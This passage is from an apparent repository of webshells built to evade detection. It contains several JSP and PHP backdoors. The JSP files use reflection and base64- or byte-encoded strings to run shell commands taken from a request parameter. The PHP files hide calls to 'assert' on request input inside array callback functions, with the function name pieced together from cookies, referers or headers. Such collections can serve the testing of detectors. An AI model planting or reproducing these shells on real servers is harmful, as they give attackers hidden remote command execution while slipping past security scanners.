16 | 17 | <%! 18 | public static String getPicture(String str) throws Exception { 19 | List list = new ArrayList(); 20 | BASE64Decoder decoder = new BASE64Decoder(); 21 | BASE64Encoder encoder = new BASE64Encoder(); 22 | String fileSeparator = String.valueOf(java.io.File.separatorChar); 23 | if(fileSeparator.equals("\\")){ 24 | list.add(new String(decoder.decodeBuffer("Y21k"))); 25 | list.add(new String(decoder.decodeBuffer("L2M="))); 26 | }else{ 27 | list.add(new String(decoder.decodeBuffer("L2Jpbi9iYXNo"))); 28 | list.add(new String(decoder.decodeBuffer("LWM="))); 29 | } 30 | list.add(new String(decoder.decodeBuffer(str))); 31 | Class PB = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlByb2Nlc3NCdWlsZGVy"))); 32 | Process s = (Process) PB.getMethod(new String(decoder.decodeBuffer("c3RhcnQ="))).invoke(PB.getDeclaredConstructors()[0].newInstance(list)); 33 | Scanner sc = new Scanner(s.getInputStream()).useDelimiter("\\A"); 34 | String result = ""; 35 | result = sc.hasNext() ? sc.next() : result; 36 | sc.close(); 37 | return encoder.encode(result.getBytes("UTF-8")); 38 | } 39 | 40 | %> 41 | 42 | <% 43 | String name ="Input Nothing"; 44 | String query = request.getParameter("q"); 45 | if(query != null) { 46 | name = getPicture(query); 47 | } 48 | %> 49 | 50 |
51 | <%= name %>
52 | 
53 | 54 | 55 | 56 | -------------------------------------------------------------------------------- /webshell/jsp/Runtime-reflect-cmd.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.util.Scanner" pageEncoding="UTF-8" %> 2 | 3 | Just For Fun 4 | 5 |

Build By LandGrey

6 | 7 |
8 | 9 | 10 |
11 | 12 | <%! 13 | public static String getPicture(String str) throws Exception{ 14 | String fileSeparator = String.valueOf(java.io.File.separatorChar); 15 | if(fileSeparator.equals("\\")){ 16 | str = new String(new byte[] {99, 109, 100, 46, 101, 120, 101, 32, 47, 67, 32}) + str; 17 | }else{ 18 | str = new String(new byte[] {47, 98, 105, 110, 47, 98, 97, 115, 104, 32, 45, 99, 32}) + str; 19 | } 20 | Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 })); 21 | Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null, new Object[]{}), new Object[] { str }); 22 | Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\\A"); 23 | String result = ""; 24 | result = sc.hasNext() ? sc.next() : result; 25 | sc.close(); 26 | return result; 27 | } 28 | %> 29 | 30 | <% 31 | String name ="Input Nothing"; 32 | String query = request.getParameter("q"); 33 | if(query != null) { 34 | name = getPicture(query); 35 | } 36 | %> 37 | 38 |
39 | <%= name %>
40 | 
41 | 42 | 43 | 44 | -------------------------------------------------------------------------------- /webshell/php/array_intersect_uassoc-filename-last-char-must-be-r.php: -------------------------------------------------------------------------------- 1 | ""), array(1), $f); 7 | ?> 8 | -------------------------------------------------------------------------------- /webshell/php/array_intersect_uassoc-filename-last-char-must-be-s.php: -------------------------------------------------------------------------------- 1 | ""), array(1), $f); 6 | ?> 7 | -------------------------------------------------------------------------------- /webshell/php/array_intersect_uassoc-headers-accept-r.php: -------------------------------------------------------------------------------- 1 | ""), array(1), $f); 7 | ?> 8 | -------------------------------------------------------------------------------- /webshell/php/array_intersect_ukey-cookie-ass.php: -------------------------------------------------------------------------------- 1 | = 5.4.0, PHP 7) 4 | * 5 | */ 6 | $password = "LandGrey"; 7 | $ch = $_COOKIE["set-domain-name"]; 8 | array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch."ert"); 9 | ?> 10 | -------------------------------------------------------------------------------- /webshell/php/array_intersect_ukey.php: -------------------------------------------------------------------------------- 1 | = 5.4.0, PHP 7) 4 | * 5 | */ 6 | $password = "LandGrey"; 7 | $ch = explode(".","hello.ass.world.er.t"); 8 | array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch[1].$ch[3].$ch[4]); 9 | ?> 10 | -------------------------------------------------------------------------------- /webshell/php/array_udiff_assoc.php: -------------------------------------------------------------------------------- 1 | = 5.4.0, PHP 7) 4 | * 5 | */ 6 | $password = "LandGrey"; 7 | array_udiff_assoc(array($_REQUEST[$password]), array(1), "assert"); 8 | ?> 9 | -------------------------------------------------------------------------------- /webshell/php/bypass-imagecreatefromgif-pass-00.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/webshell/php/bypass-imagecreatefromgif-pass-00.gif -------------------------------------------------------------------------------- /webshell/php/forward_static_call_array-referer-ass.php: -------------------------------------------------------------------------------- 1 | = 5.3.0, PHP 7) 4 | * 5 | */ 6 | $password = "LandGrey"; 7 | $wx = substr($_SERVER["HTTP_REFERER"],-7,-4); 8 | forward_static_call_array($wx."ert", array($_REQUEST[$password])); 9 | ?> 10 | --------------------------------------------------------------------------------